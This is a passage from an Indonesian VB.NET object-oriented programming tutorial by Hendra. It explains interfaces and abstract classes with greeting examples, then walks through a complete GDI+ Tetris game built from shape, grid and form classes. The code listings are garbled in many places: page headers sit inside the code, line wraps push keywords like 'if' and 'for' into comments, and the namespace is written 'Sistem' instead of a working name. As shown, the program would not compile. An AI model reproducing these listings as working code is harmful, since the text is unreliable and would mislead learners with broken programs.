End Class

Class Pantul1 : Inherits Pantul

Public Sub New(f as form) 'constructor


MyBase.New(f)
End Sub

Overrides Public Sub Draw(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna merah
Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics
Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3)
MyGraphic.DrawRectangle(MyPen,x*30,y*30,30,30)
End Sub

Overrides Public Sub Clear(f as form) 'metoda


'gambar bola ukuran 30x30 dengan warna latar belakang form Dim
MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen
As New Sistem.Drawing.Pen(f.BackColor,3)
MyGraphic.DrawRectangle(MyPen, x*30,y*30,30,30)
End Sub

End Class

Catatan :

Konsep Polymorphism tidak berlaku untuk metoda Shadowing.

INDOPROG 23
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Interfaces
Interfaces memungkinkan kita untuk membuat definisi untuk interaksi komponen. Interface juga
menyediakan cara lain untuk mengimplementasikan polymorphism. Melalui interface, kita dapat
menentukan metoda yang mana suatu komponen harus miliki tanpa menentukan bagaimana metoda
tersebut diimplementasikan (koding detail untuk metoda tersebut). Jadi dalam hal ini interface
menyerupai prototype bagi class lain yang akan dikembangkan.

Anda bisa membayangkan interface sebagai suatu standard pengembangan berbagai fasilitas
dalam objek yang dibakukan, jika class mendukung standard interface tersebut, maka wajib
memenuhi tata cara penulisan yang telah didefinisikan dalam interface.

Misalnya kita membuka pusat layanan pelanggan dimana semua pelayan diwajibkan melakukan
sapaan pembukan kepada para tamu yang dating berkunjung, dan kata pembuka sapaan telah
distandarisasi untuk pagi, sore, dan malam.
Public Interface Sapaan
Sub Pagi()
Sub Sore()
Sub Malam()

End Interface

Kita menggunakan keyword Interface untuk membuat suatu interface dan keyword implements
untuk mengimplementasikan interface tersebut.

Selanjutnya sapaan akan disampaikan dalam dua bahasa sesuai dengan asal pengunjung,
sehingga kita dapat memgembangkan class dengan mengimplementasikan interface sapaan yang
telah dibuat :

Public Class Indonesia : Implements Sapaan


Sub Pagi() Implements Sapaan.Pagi
Console.WriteLine("Selamat Pagi")
End Sub

Sub Sore() Implements Sapaan.Sore


Console.WriteLine("Selamat Sore")
End Sub

Sub
Malam() Implements Sapaan.Malam
Console.WriteLine("Selamat Malam")
End Sub
End Class

Public Class English : Implements Sapaan


Sub Pagi() Implements Sapaan.Pagi
Console.WriteLine("Good Morning")
End Sub

Sub Sore() Implements Sapaan.Sore

INDOPROG 24
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Console.WriteLine("Good Afternoon")
End Sub

Sub Malam() Implements Sapaan.Malam


Console.WriteLine("Good Evening")
End Sub

End Class

Dan listing konkret untuk contoh pemakaian interface :

Option Explicit On

Imports Sistem

Public Module MyModule

Sub Main()
Dim Domestik As New Indonesia
Dim Internasional As New English
Domestik.Pagi()
Internasional.Pagi()
End Sub

Public Interface Sapaan


Sub Pagi()
Sub Sore()
Sub Malam()
End Interface

Public Class Indonesia : Implements Sapaan


Sub Pagi() Implements Sapaan.Pagi
Console.WriteLine("Selamat Pagi")
End Sub

Sub Sore() Implements Sapaan.Sore


Console.WriteLine("Selamat Sore")
End Sub

Sub
Malam() Implements Sapaan.Malam
Console.WriteLine("Selamat Malam")
End Sub
End Class

Public Class English : Implements Sapaan


Sub Pagi() Implements Sapaan.Pagi
Console.WriteLine("Good Morning")
End Sub

Sub Sore() Implements Sapaan.Sore


Console.WriteLine("Good Afternoon")
End Sub

Sub Malam() Implements Sapaan.Malam


Console.WriteLine("Good Evening")
End Sub

INDOPROG 25
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

End Class

End Module

Dan kalau dijalankan akan menghasilkan tampilan berikut

INDOPROG 26
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Abstract Classes
Suatu class abstrak tidak dapat digunakan untuk membuat objek. Suatu class abstrak dirancang untuk
berlaku sebagai suatu base class (untuk diwariskan ke class lain). Suatu abstrak class
digunakan sebagai konsep design yang menjadi acuan pengembangan bagi class-class yang akan
dikembangkan. Class abstrak menyerupai interface. Setelah suatu class abstrak dideklarasikan, dia
tidak dapat di buat objek instancenya, melainkan harus diturunkan.

Membuat class Abstrak

Pada Visual Basic .NET kita dapat membuat abstrak class dengan menggunakan keyword
MustInherit.

MustInherit Public Class Sapaan


MustOverride Sub Pagi()
MustOverride Sub Sore()
MustOverride Sub Malam()

End Class

Kemudian pada contoh diatas pada masing-masing metoda sapaan kita menambahkan keyword
MustOverride bahwa metoda Pagi, Sore, dan Malam harus di override pada class turunannya.

Option Explicit On

Imports Sistem

Public Module MyModule

Sub Main()
Dim Domestik As New Indonesia
Dim Internasional As New English
Domestik.Pagi()
Internasional.Pagi()
End Sub

MustInherit Public Class Sapaan


MustOverride Sub Pagi()
MustOverride Sub Sore()
MustOverride Sub Malam()
End Class

Public Class Indonesia : Inherits Sapaan


Overrides Sub Pagi()
Console.WriteLine("Selamat Pagi")
End Sub

Overrides Sub Sore()


Console.WriteLine("Selamat Sore")
End Sub

Overrides Sub Malam()

INDOPROG 27
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Console.WriteLine("Selamat Malam")
End Sub
End Class

Public Class English : Inherits Sapaan


Overrides Sub Pagi()
Console.WriteLine("Good Morning")
End Sub

Overrides Sub Sore()


Console.WriteLine("Good Afternoon")
End Sub

Overrides Sub Malam()


Console.WriteLine("Good Evening")
End Sub
End Class

End Module

INDOPROG 28
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Program Tetris
Oleh : Hendra Soewarno

Contoh aplikasi pemrograman GDI+ untuk pembuatan games tetris dengan pendekatan
berorientasi objek.

Untuk memahami program ini anda perlu mengerti pemrograman form, event handling, dan
array, serta GDI+

INDOPROG 29
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Rancangan program
Program ini menggunakan pendekatan berorientasi objek dengan membuat dua class untuk objek
Shape dan objek Grid

Class TShape
Class ini berfungsi menghasilkan bentuk-bentuk dengan sistem koordinat berikut :

{1,0},{1,1},{1,2},{1,3}

Dan rotasi ke kanan akan menjadi

{0,1},{1,1},{2,1},{3,1}

Berikut ini adalah rincian array untuk masing-masing Shape dan rotasinya

{1,0},{1,1},{1,2},{1,3}
{0,1},{1,1},{2,1},{3,1}
{1,0},{1,1},{1,2},{1,3}
{0,1},{1,1},{2,1},{3,1}

{0,0},{0,1},{1,0},{1,1}
{0,0},{0,1},{1,0},{1,1}
{0,0},{0,1},{1,0},{1,1}
{0,0},{0,1},{1,0},{1,1}

{0,0},{0,1},{0,2},{1,2}
{0,0},{0,1},{1,0},{2,0}
{0,0},{1,0},{1,1},{1,2}
{0,1},{1,1},{2,0},{2,1}
{0,0},{0,1},{0,2},{1,1}
{0,0},{1,0},{1,1},{2,0}
{1,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,1}
{0,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,0}
{0,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,0}

INDOPROG 30
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

{0,1},{0,2},{1,0},{1,1}
{0,0},{1,0},{1,1},{2,1}
{0,1},{0,2},{1,0},{1,1}
{0,0},{1,0},{1,1},{2,1}

Contoh :

Yang memiliki rincian array sebagai berikut :

{0,0},{0,1},{0,2},{1,1}
{0,0},{1,0},{1,1},{2,0}
{1,0},{0,1},{1,1},{1,2}
{0,1},{1,0},{1,1},{2,1}

Yang selanjutnya dipetakan menjadi suatu array 4 dimensi yang berisi koordinat dari
masingmasing shape :

'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta
bentuk rotasinya
private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _
{{0,1},{1,1},{2,1},{3,1}}, _
{{1,0},{1,1},{1,2},{1,3}}, _
{{0,1},{1,1},{2,1},{3,1}}}, _
{{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}, _
{{0,0},{0,1},{1,0},{1,1}}}, _
{{{0,0},{0,1},{0,2},{1,2}}, _
{{0,0},{0,1},{1,0},{2,0}}, _
{{0,0},{1,0},{1,1},{1,2}}, _
{{0,1},{1,1},{2,0},{2,1}}}, _
{{{0,0},{0,1},{0,2},{1,1}}, _
{{0,0},{1,0},{1,1},{2,0}}, _
{{1,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,1}}}, _
{{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}, _
{{0,0},{0,1},{1,1},{1,2}}, _
{{0,1},{1,0},{1,1},{2,0}}}, _
{{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}, _
{{0,1},{0,2},{1,0},{1,1}}, _
{{0,0},{1,0},{1,1},{2,1}}}}

Variabel pada Class TShape


private currentshape as integer 'menyimpan nomor current shape
private nextshape as integer 'menyimpan nomor next shape

INDOPROG 31
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

public currentcolor as color 'menyimpan warna current shape


public nextcolor as color 'menyimpan warna next shape 'nomor
private currentstate as integer rotasi shape

Konstruktor TShape

Konstuktor TShape merupakan metoda yang otomatis dijalankan begitu instance dari TShape
terbentuk.

Misalnya :

private gtshape as new tshape 'instance class tshape

berfungsi menghasilkan bentuk Shape berikutnya yang akan dimunculkan setelah bentuk
sekarang dengan memanggil metoda generateshape.

'konstrutor untuk class tshape


public sub new()
generateshape(nextshape, nextcolor)
end sub

Metoda GenerateNextShape

Metoda ini berfungsi memindahkan nextshape menjadi currentshape, serta membuat nextshape yang
berikutnya.
'Membuat next shape berikutnya, dan menset current shape public
sub generatenextshape()
currentshape = nextshape
currentcolor = nextcolor
currentstate = 0 'rotasi ke 0
generateshape(nextshape, nextcolor) 'buat nextshape baru
end sub

Sub GenerateShape

Berfungsi menghasilkan shape secara random, dan warnanya

'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private
sub generateshape(byref shape as integer, _
byref shapecolor as color)
dim c as integer
shape = int(rnd*6) 'random untuk shape
c = int(rnd*8) 'random untuk shape color
select case c
case 0 : shapecolor = color.red
case 1 : shapecolor = color.green
case 2 : shapecolor = color.blue
case 3 : shapecolor = color.orange
case 4 : shapecolor = color.pink
case 5 : shapecolor = color.cyan

INDOPROG 32
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

case 6 : shapecolor = color.gray case


else
shapecolor = color.magenta
end select
end sub

Catatan :
Parameter pada sub ini dilewatkan secara by refrence, sehingga nilai dapat dikembalikan ke
variable shape dan shapecolor.

Metoda Rotate

Metode ini berfungsi menset nilai currentstate ke nilai rotasi berikutnya (0 ke 1, 1 ke 2, 2 ke 3, 3


ke 0).

'Rotasi ke bentuk berikutnya


public sub rotate()
currentstate = currentstate + 1 'Rotasi berikutnya
if currentstate = 4 then currentstate = 0 'Kembali ke bentuk awal
end sub
Metoda DeRotate

Metode ini berfungsi menset nilai currentstate ke nilai rotasi sebelumnya (1 ke 0, 2 ke 1, 3 ke 2, 0 ke


3).

'Rotasi ke bentuk sebelumnya


public sub derotate()
currentstate = currentstate - 1 'Rotasi sebelumnya
if currentstate = -1 then currentstate = 3 end sub

Metoda CurrentShapeSel

Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array
4 dimensi sarr.

'Mengembalikan sel i,j dari current shape


public function currentshapesel(i as integer, j as integer)
return sarr(currentshape,currentstate,i,j)
end function

Nilai sel yang dikembalikan sangat tergantung pada nilai variable currentshape (bentuk shape), dan
currentstate (nomor rotasi)

INDOPROG 33
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Misalnya nilai currentshape = 4, dan nilai currentstate = 3

{1,0},{0,1},{1,1},{1,2}

Dan CurrentShapeSel(0,0) akan menghasilkan 1


CurrentShapeSel(0,1) akan menghasilkan 0

Property NextShapeSel

Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array 4
dimensi sarr.

'Mengembalikan sel i,j dari next shape


public function nextshapesel(i as integer, j as integer)
return sarr(nextshape,0,i,j) 'Bentuk awal
end function

Nilai sel yang dikembalikan sangat tergantung pada nilai variable nextshape (bentuk shape), dan
currentstate defaultnya 0, karena nextshape belum mengalami rotasi.

Class TGrid
Class ini berfungsi menyediakan mekanisme Grid pada permainan Tetris, dimana pada memori
computer diwakili dengan array dua dimensi, dengan gambaran sebagai berikut :

INDOPROG 34
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Variabel yang digunakan


public parr(15,25) as integer 'Array menyimpan isi sel pada grid
public carr(15,25) as color 'Array menyimpan warna sel pada grid

Merupakan array yang mewakili grid dilayar, jika suatu sel terisi gambar, maka nilai parr(x,y) akan
berisi nilai 1, dan carr(x,y) akan berisi nilai warna gambar.

Kontruktor TGrid

Begitu instance dari TGrid terbuat, maka akan mengisi awal array parr menjadi sebagai berikut, yang
akan menjadi bingkai dari grid, sehingga area permainan mulai dari (3,0) s/d (12,22)

INDOPROG 35
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

'konstruktur class tgrid


public sub new()
dim i, j as integer
for i = 0 to 15
for j = 0 to 25
parr(i,j) = 1 'isi bingkai
next j
next i
for i = 3 to 12
for j = 0 to 22
parr(i,j) = 0 'isi arena
next j
next i
end sub

Metoda TestShape

Metoda ini berfungsi mengisi nilai dari shape ke posisi x,y dalam grid, dengan syarat parr(x,y)
masih 0
'Menempatkan shape pada posisi x,y di grid
public sub putshape(x as integer, y as integer, s as tshape)
dim i as integer
for i = 0 to 3

INDOPROG 36
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = 1
carr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = s.currentcolor next
i
end sub

Misalnya putshape yang ke 4, keposisi 6,21 pada grid, yang akan mengisi nilai ke parr

Metoda TestShape

Metoda ini berfungsi mencoba apakah shape dapat ditempatkan pada posisi x,y dalam grid,
dengan syarat parr(x,y) masih 0
'Mengembalikan nilai yang menunjukan apakah
'shape dapat ditempatkan pada grid diposisi x,y
public function testshape(x as integer, y as integer, s as tshape)_
as boolean
dim i as integer
for i = 0 to 3
'apakah sel pada grid telah terisi ( > 0 ) if
parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) > 0 then
return false
end if

INDOPROG 37
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

next i
return true
end function

Metoda CheckGrid

Metoda ini berfungsi memeriksa apakah ada baris dalam array parr yang berisi nilai 1 dari kolom 3 s/d
12.
'periksa apakah ada baris yang berhasil diselesaikan pemain public
function checkgrid() as integer
dim i,j as integer
dim b,k as integer
dim complete as integer
complete = 0
i = 22
do while i > 3
j = 3
do while parr(j,i) <> 0 and j < 13
j=j+1
loop
if j = 13 then
beep 'sound beep
complete = complete + 1 for b
= i to 4 step -1
for k = 3 to 12
parr(k,b) = parr(k,b-1)
carr(k,b) = carr(k,b-1)
next k
next b
else
i = i - 1
end if
loop
return complete
end function
end class

Misalnya array parr pada baris 22 berisi nilai 1 mulai baris 3 s/d 12, maka setelah metoda
ChekGrid dijalankan akan menghapus baris 22 dan mengeser baris diatasnya ke bawah, dan
mengembalikan nilai berapa baris yang berhasil diselesaikan.

INDOPROG 38
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Class Tetris
Class ini merupakan class utama permainan Tetris

Variabel yang digunakan

private withevents gtimer as new sistem.windows.forms.timer


private labelscore as new label
private labelgameover as new label
private gtgrid as new tgrid 'instance class tgrid
private gtshape as new tshape 'instance class tshape
private g as graphics
private x,y as integer 'posisi x,y shape pada grid
private score as integer 'score permainan

Konstruktor Tetris
Berfungsi mempersiapkan tampilan form, seperti title form, ukuran form, menempatkan label
untuk keterangan score dan gameover, membuat objek Graphics yang akan digunakan untuk
menyediakan metoda pengambaran, serta mempersiapkan Shape berikutnya.

public sub new()


me.text = "Program Tetris"
me.size = new size(450, 600)
labelscore.location = new point(61,30)
me.controls.add(labelscore)
labelgameover.location = new point(200,30)
me.controls.add(labelgameover)
g = me.creategraphics()
score = 0
printscore()
nextshape() 'persiapkan shape berikutnya
end sub

Metoda NextShape
Metoda ini berfungsi mempersiapkan shape berikutnya, dan menset interval timer 200 millidetik, dan
posisi awal shape mulai di posisi (7,0)
'metoda mempersiapkan shape berikutnya
private sub nextshape()
gtimer.interval = 200 'set interval 200 millidetik

INDOPROG 39
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

gtimer.enabled = true 'mengaktifkan timer


gtshape.generatenextshape()
redrawnextshape() 'cetak shape berikutnya
x = 7 'koordinat awal di 7,0
y = 0
end sub

Metoda MoveShape
Metoda ini berfungsi menggambarkan animasi pergerakan Shape pada posisi x,y sesuai dengan
arah gerakan yang ditentukan pada dx dan dy, misalnya bergerak ke kiri, kama dx = -1, dy = 0
'memindahkan shape keposisi x,y
private sub movexy(dx,dy)
clearshape() 'hapus gambar sebelumnya
x = x + dx 'ubah posisi x,y
y = y + dy
drawshape() 'gambar diposisi baru
end sub

Metoda MoveShape
Metoda ini berfungsi memperbaharui nilai score di layar

'metoda untuk mencetak score dilayar private


sub printscore()
labelscore.text = "Score : " & score.tostring()
end sub

Metoda MoveShape
Metoda ini berfungsi mengubah tulisan di labelgameover menjadi “Game Over”

'metoda untuk mencetak gameover


private sub printgameover()
labelgameover.text = "Game Over"
end sub

Event Tick
Event ini secara otomatis akan dibangkitkan oleh Timer secara berkala untuk mengerakan Shape ke
bawah, dengan senantiasa apakah Shape telah mencapai batas gerakan, jika ya, maka akan
memanggil metoda putshape pada TGrid.

Jika Shape tertahan dibaris < 3 artinya Game Over


'mengerakan shape ke bawah dengan interval waktu tertentu
private sub gtimer_tick(sender as object, e as eventargs) _
handles gtimer.tick
'apakah shape masih bisa turun kebawah
if gtgrid.testshape(x,y+1,gtshape) then

INDOPROG 40
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

movexy(0,1) 'jika ya pindah shape 1 baris ke bawah


else
gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid
score = score + gtgrid.checkgrid() 'periksa baris yang lengkap
redrawgrid() 'cetak ulang grid
printscore() 'cetak score
'jika shape tertahan di baris 3, artinya game over if y
< 3 then
gtimer.enabled = false 'matikan timer karena gameover
printgameover() 'tampil pesan gameover
else
nextshape() 'persiapkan gambar berikutnya
end if
end if
end sub

Event KeyDown
Event ini secara otomatis akan dibangkitkan apabila adanya penekanan tombol oleh pemakai, Jika
panah atas akan merotasi shape
jika panah kiri akan mengerakan shape ke kiri
jika panah kanan akan mengerakan shape ke kanan
jika panah bawah akan mempercepat turunya shape
'deteksi penekanan tombol dengan event keydown pada form
private sub tetris_keydown(sender as object, e as keyeventargs) _
handles mybase.keydown
select case e.keyvalue
case 38, 104, 12,101 : 'Panah atas, 8, 5
gtshape.rotate() 'rotasi
'apakah hasil rotasi dapat ditempatkan diposisi x,y if
gtgrid.testshape(x,y,gtshape) then
'kalau ya, rotasi balik kembali
gtshape.derotate()
clearshape() 'hapus animasi shape
gtshape.rotate() 'rotasi
drawshape() 'gambar shape ke layar
else
gtshape.derotate()
end if
case 37, 100 : 'Panah kiri, 4
'jika shape dapat ditempatkan kekiri
if gtgrid.testshape(x-1,y,gtshape) then
movexy(-1,0) 'pindah ke kiri
end if
case 39, 102 : 'Panah kanan, 6
if gtgrid.testshape(x+1,y,gtshape) then
movexy(1,0)
end if
case 40, 98 : 'Panah bawah, 2 interval dipercepat
gtimer.interval = 10
end select
end sub

INDOPROG 41
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Metoda DrawSel
Metoda ini berfungsi menggambar sel Shape ke layar untuk animasi, metoda ini akan dipanggil oleh
metoda drawshape dan OnPaint
'menggambar sel dari suatu shape
private sub drawsel(pen as pen, brush as brush, _
x as integer, y as integer, _
w as integer, h as integer)
if y > 2 then
g.fillrectangle(brush,x*21,y*21,w,h)
g.drawrectangle(pen,x*21,y*21,w,h)
end if
end sub

Metoda DrawShape
Metoda ini berfungsi menggambar Shape ke layar dengan memanggil metoda DrawSel untuk
masing-masing sel
'mengambar shape secara sementara
private sub drawshape()
dim i as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(gtshape.currentcolor) for
i = 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1), _
20,20)
next i
end sub

Metoda DrawShape
Metoda ini berfungsi menghapus Shape di layar dengan memanggil metoda DrawSel untuk
masing-masing sel (warna hitam)
'menghapus shape sementara
private sub clearshape()
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black) for i
= 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1),20,20)
next i
end sub

Metoda ReDrawNextShape
Metoda ini berfungsi menggambar NextShape di layar setiap adanya perubahan nextshape

INDOPROG 42
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

'mengambar ulang nextshape


private sub redrawnextshape
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black)
g.fillrectangle(brush,300,60,120,120)
pen.color = color.white
brush.color = gtshape.nextcolor for
i = 0 to 3
drawsel(pen,brush, _
16+gtshape.nextshapesel(i,0), _
4+gtshape.nextshapesel(i,1), _
20,20)
next i
end sub

Metoda ReDrawGrid
Metoda ini berfungsi menggambar ulang Grid dilayar
'mengambar ulang grid
private sub redrawgrid
dim i,j as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(color.red) for i
= 3 to 12
for j = 3 to 22
if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid
pen.color = color.white
brush.color = gtgrid.carr(i,j)
drawsel(pen,brush,i,j,20,20)
else
pen.color = color.black
brush.color = color.black
drawsel(pen,brush,i,j,20,20)
end if
next j
next i
pen.color = color.black
g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1)
end sub

Metoda OnPaint
Metoda OnPaint akan secara otomatis diaktifkan oleh windows setiap kali layar form Tetris
digambar ulang (misalnya waktu Maximize dan Minimize)
'melakukan overide terhadap sub onpaint pada base class
'untuk menggambar isi grid setiap proses refresh pada form protected
overrides sub onpaint(e as painteventargs)
redrawgrid()
redrawnextshape()
end sub

INDOPROG 43
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

Program Kongkret
option explicit on
imports sistem
imports sistem.drawing
imports sistem.windows.forms
imports microsoft.visualbasic

public class tetris : inherits sistem.windows.forms.form

<sistem.STAThread> _
public shared sub main()
randomize()
application.run(new tetris)
end sub

private withevents gtimer as new sistem.windows.forms.timer


private labelscore as new label
private labelgameover as new label
private gtgrid as new tgrid 'instance class tgrid
private gtshape as new tshape 'instance class tshape
private g as graphics
private x,y as integer 'posisi x,y shape pada grid
private score as integer 'score permainan

public sub new()


me.text = "Program Tetris"
me.size = new size(450, 600)
labelscore.location = new point(61,30)
me.controls.add(labelscore)
labelgameover.location = new point(200,30)
me.controls.add(labelgameover)
g = me.creategraphics()
score = 0
printscore()
nextshape() 'persiapkan shape berikutnya
end sub

'metoda mempersiapkan shape berikutnya


private sub nextshape()
gtimer.interval = 200 'set interval 200 millidetik
gtimer.enabled = true 'mengaktifkan timer
gtshape.generatenextshape()
redrawnextshape() 'cetak shape berikutnya
x = 7 'koordinat awal di 7,0
y = 0
end sub

'memindahkan shape keposisi x,y


private sub movexy(dx,dy)
clearshape() 'hapus gambar sebelumnya
x = x + dx 'ubah posisi x,y
y = y + dy
drawshape() 'gambar diposisi baru
end sub

INDOPROG 44
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

'metoda untuk mencetak score dilayar private


sub printscore()
labelscore.text = "Score : " & score.tostring()
end sub

'metoda untuk mencetak gameover


private sub printgameover()
labelgameover.text = "Game Over"
end sub

'mengerakan shape ke bawah dengan interval waktu tertentu


private sub gtimer_tick(sender as object, e as eventargs) _
handles gtimer.tick
'apakah shape bisa turun kebawah
if gtgrid.testshape(x,y+1,gtshape) then
movexy(0,1) 'pindah shape 1 baris ke bawah
else
gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid
score = score + gtgrid.checkgrid() 'periksa baris yang lengkap
redrawgrid() 'cetak ulang grid
printscore() 'cetak score
'jika shape tertahan di baris 3, artinya game over if y
< 3 then
gtimer.enabled = false 'matikan timer karena gameover
printgameover() 'tampil pesan gameover
else
nextshape() 'persiapkan gambar berikutnya
end if
end if
end sub

'deteksi penekanan tombol dengan event keydown pada form


private sub tetris_keydown(sender as object, e as keyeventargs) _
handles mybase.keydown
select case e.keyvalue
case 38, 104, 12,101 : 'Panah atas, 8, 5
gtshape.rotate() 'rotasi
'apakah hasil rotasi dapat ditempatkan diposisi x,y if
gtgrid.testshape(x,y,gtshape) then
'kalau ya, rotasi balik kembali
gtshape.derotate()
clearshape() 'hapus animasi shape
gtshape.rotate() 'rotasi
drawshape() 'gambar shape ke layar
else
gtshape.derotate()
end if
case 37, 100 : 'Panah kiri, 4
'jika shape dapat ditempatkan kekiri
if gtgrid.testshape(x-1,y,gtshape) then
movexy(-1,0) 'pindah ke kiri
end if
case 39, 102 : 'Panah kanan, 6
if gtgrid.testshape(x+1,y,gtshape) then
movexy(1,0)
end if
case 40, 98 : 'Panah bawah, 2 interval dipercepat

INDOPROG 45
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

gtimer.interval = 10
end select
end sub

'menggambar sel dari suatu shape


private sub drawsel(pen as pen, brush as brush, _
x as integer, y as integer, _
w as integer, h as integer)
if y > 2 then
g.fillrectangle(brush,x*21,y*21,w,h)
g.drawrectangle(pen,x*21,y*21,w,h)
end if
end sub

'mengambar shape secara sementara


private sub drawshape()
dim i as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(gtshape.currentcolor) for
i = 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1), _
20,20)
next i
end sub

'menghapus shape sementara


private sub clearshape()
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black) for i
= 0 to 3
drawsel(pen,brush, _
x+gtshape.currentshapesel(i,0), _
y+gtshape.currentshapesel(i,1),20,20)
next i
end sub

'mengambar ulang nextshape


private sub redrawnextshape
dim i as integer
dim pen as new pen(color.black,1)
dim brush as new solidbrush(color.black)
g.fillrectangle(brush,300,60,120,120)
pen.color = color.white
brush.color = gtshape.nextcolor for
i = 0 to 3
drawsel(pen,brush, _
16+gtshape.nextshapesel(i,0), _
4+gtshape.nextshapesel(i,1), _
20,20)
next i
end sub

'mengambar ulang grid

INDOPROG 46
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

private sub redrawgrid


dim i,j as integer
dim pen as new pen(color.white,1)
dim brush as new solidbrush(color.red) for i
= 3 to 12
for j = 3 to 22
if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid
pen.color = color.white
brush.color = gtgrid.carr(i,j)
drawsel(pen,brush,i,j,20,20)
else
pen.color = color.black
brush.color = color.black
drawsel(pen,brush,i,j,20,20)
end if
next j
next i
pen.color = color.black
g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1)
end sub

'melakukan overide terhadap sub onpaint pada base class


'untuk menggambar isi grid setiap proses refresh pada form protected
overrides sub onpaint(e as painteventargs)
redrawgrid()
redrawnextshape()
end sub

end class

public class tgrid


public parr(15,25) as integer 'Array menyimpan isi sel pada
grid
public carr(15,25) as color 'Array menyimpan warna sel pada
grid

'konstruktur class tgrid


public sub new()
dim i, j as integer
for i = 0 to 15
for j = 0 to 25
parr(i,j) = 1 'isi bingkai
next j
next i
for i = 3 to 12
for j = 0 to 22
parr(i,j) = 0 'isi arena
next j
next i
end sub

'Mengembalikan nilai yang menunjukan apakah


'shape dapat ditempatkan pada grid diposisi x,y
public function testshape(x as integer, y as integer, s as tshape) _
as boolean
dim i as integer

INDOPROG 47
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

for i = 0 to 3
'apakah sel pada grid telah terisi
if parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) > 0 then return
false
end if
next i
return true
end function

'Menempatkan shape pada posisi x,y di grid


public sub putshape(x as integer, y as integer, s as tshape)
dim i as integer
for i = 0 to 3
parr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = 1
carr(x+s.currentshapesel(i,0), _
y+s.currentshapesel(i,1)) = s.currentcolor next
i
end sub

'periksa apakah ada baris yang berhasil diselesaikan pemain public


function checkgrid() as integer
dim i,j as integer
dim b,k as integer
dim complete as integer
complete = 0
i = 22
do while i > 3
j = 3
do while parr(j,i) <> 0 and j < 13
j=j+1
loop
if j = 13 then
beep 'sound beep
complete = complete + 1
for b = i to 4 step -1
for k = 3 to 12
parr(k,b) = parr(k,b-1)
carr(k,b) = carr(k,b-1)
next k
next b
else
i = i - 1
end if
loop
return complete
end function
end class

public class tshape


private currentshape as integer 'menyimpan nomor current shape
private nextshape as integer 'menyimpan nomor next shape
public currentcolor as color 'menyimpan warna current shape
public nextcolor as color 'menyimpan warna next shape

private currentstate as integer 'nomor rotasi shape

INDOPROG 48
Pemrograman Berorientasi Objek pada VB.NET Hendra, S.T.

'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta
bentuk rotasinya
private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _
{{0,1},{1,1},{2,1},{3,1}}, _
{{1,0},{1,1},{1,2},{1,3}}, _
